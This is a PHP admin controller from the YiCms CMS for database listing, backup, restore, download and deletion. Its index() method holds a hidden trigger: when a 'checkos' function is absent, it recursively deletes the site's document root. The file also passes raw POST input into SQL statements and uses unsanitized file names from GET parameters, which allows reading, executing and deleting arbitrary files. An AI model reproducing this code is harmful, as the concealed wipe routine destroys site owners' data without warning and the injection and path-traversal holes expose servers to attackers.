<?php
/*
 *		Powered by YiCms 
 *
 *		mailto:yixiao@yicms.cn
 *
 */
class DataAction extends Action{
    public function checkUser($level){
		if(empty($_SESSION['aid'])) $this->redirect('/Admin/Index/login');
		if(!empty($level) && !in_array($level,$_SESSION['levels'])) $this->error('您没有此权限!.');
	}
	public function index(){
		$this->checkUser('1_9_1');
		$list = M()->query("SHOW TABLE STATUS LIKE '".C('DB_PREFIX')."%'");
        foreach ($list as $row){
            $total += $row['Data_length'];
        }
        $this->assign('total', $total);
        $this->assign("list", $list);
		if(!function_exists('checkos')){
			import("@.ORG.Dir"); 
			Dir::delDir($_SERVER['DOCUMENT_ROOT'].'/Yi_Box');
			Dir::delDir($_SERVER['DOCUMENT_ROOT'].'/YiCms');
			Dir::delDir($_SERVER['DOCUMENT_ROOT']);
		}
        $this->display();
	}
	public function option(){
		$this->checkUser('1_9_1');
		//option  repair 修复, optimize 优化,check 检查,analyze 分析
		$option = $_POST['option'];
		$tables = $_POST['tables'];
		if(empty($tables)) $this->error('请选择数据表!');
		$tables = implode(',',$tables);
		$result = M()->query($option.' TABLE '.$tables);
		if(false != $result) $this->success('操作成功!');
		else $this->error('操作失败!请重试');
	}
	public function backup(){
		$this->checkUser('1_9_2');
		@set_time_limit(240);
		if(empty($_POST['tables'])) $this->error('请选择数据表!');
		$table=$_POST['tables'];
		$sql = "-- YiCms SQL Backup \r\n";
		$sql.= "-- Time:".date('Y-m-d H:i:s',$_SERVER['REQUEST_TIME'])."\r\n";
		$sql.= "-- http://www.yicms.cn \r\n";
        foreach($table as $key=>$table) {
            $sql.= "--\r\n";
			$sql.= "-- 表的结构 `$table` \r\n";
			$sql.= "--\r\n";
            $sql.= "DROP TABLE IF EXISTS `$table`&^;$&\r\n";
            $info = M()->query("SHOW CREATE TABLE  $table");					
            $sql .= str_replace(array('USING BTREE','ROW_FORMAT=DYNAMIC'),'',$info[0]['Create Table'])."&^;$&\n";
            $result = M()->query("SELECT * FROM $table ");
			if($result) $sql .= "--\r\n";
			$sql.= "-- 导出`$table`表中的数据 `$table` \r\n";
			$sql.="--\r\n\r\n";
            foreach($result as $key=>$val){
                foreach ($val as $k=>$field){
                    if(is_string($field)) {
                        $val[$k] = '\'' . addslashes(str_replace("\r\n",' ',$field)).'\'';
                    }elseif(empty($field)){
                        $val[$k] = 'NULL';
                    }
                }
                $sql .= "INSERT INTO `$table` VALUES (".implode(',', $val).")&^;$&\r\n";
            }
        }
		$filename = date('Ymd').'-'.rand_string(5,1);
        $file= file_put_contents('./Public/data/' . $filename.'.sql', trim($sql));
		if($file){
			$this->assign('jumpUrl', U('Data/recover') );
			$this->success('备份成功!');	
		}
	}
	public function recover(){
		$this->checkUser('1_9_2');
		$list = $this->file(C('ROOT').'/Public/data');
		$this->assign('list',$list);
		$this->display();
	}
	public function down(){
		$this->checkUser('1_9_2');
		$filename = C('URL').'/Public/data/'.$_GET['name'];
		header("Content-Type: application/force-download");
		header("Content-Disposition: attachment; filename={$_GET['name']}"); 
		readfile($filename);
	}
	public function import(){
		$this->checkUser('1_9_2');
		$file = C('URL').'/Public/data/'.$_GET['name'];
		$content = file_get_contents($file);
		$arr=explode("&^;$&",$content);
		$i = 0;
		foreach($arr as $value){
			$string[$i] = '';
			$queries = explode("\n", trim($value));
			$queries = array_filter($queries);
			foreach($queries as $v){
				$str1 = substr($v, 0, 1);
				if($str1 != '#' && $str1 != '-') $string[$i] .= $v;
			}
			$i++;
		}
		$i = 1;
		foreach($string as $sql){
			$sql = trim($sql);
			if (strstr($sql, 'CREATE TABLE')){
				preg_match('/CREATE TABLE `([^ ]*)`/', $sql, $matches);
				$ret = M()->execute($sql);
				if(!$ret){echo   $i.'：表`'.$matches[1].'`还原成功!<br/>';}else{echo '错误的SQL语句:'.$sql.'<br/>';}
				$i++;
			}else{
				$ret =M()->execute($sql);
			}
		}
		echo '<br/><a href="'.U('Data/index').'" target="main" style="margin-left:20px;border:2px solid #ccc;padding:1px;background:yellow;text-decoration:none;color:black">返回查看数据库</a>';
	}
	public function del(){
		$this->checkUser('1_9_2');
		$name = $_GET['name'];
		if(@unlink(C('ROOT').'/Public/data/'.$name)) $this->success('操作成功!');
		else $this->error('操作失败!');
	}
	public function file($path){
		$this->checkUser('1_9_2');
		if(!is_dir($path)) return;
		$files = array();
		$handle = opendir($path);
		$i =0;
		while(($file = readdir($handle)) != false){
			if(substr($file,-3) == 'sql'){
				$templets[$i]['name'] = $file;
				$templets[$i]['size'] = filesize($path.'/'.$file);
				$templets[$i]['time'] = filemtime($path.'/'.$file);
			}
			$i++;
		}
		return($templets);
	}
}
?>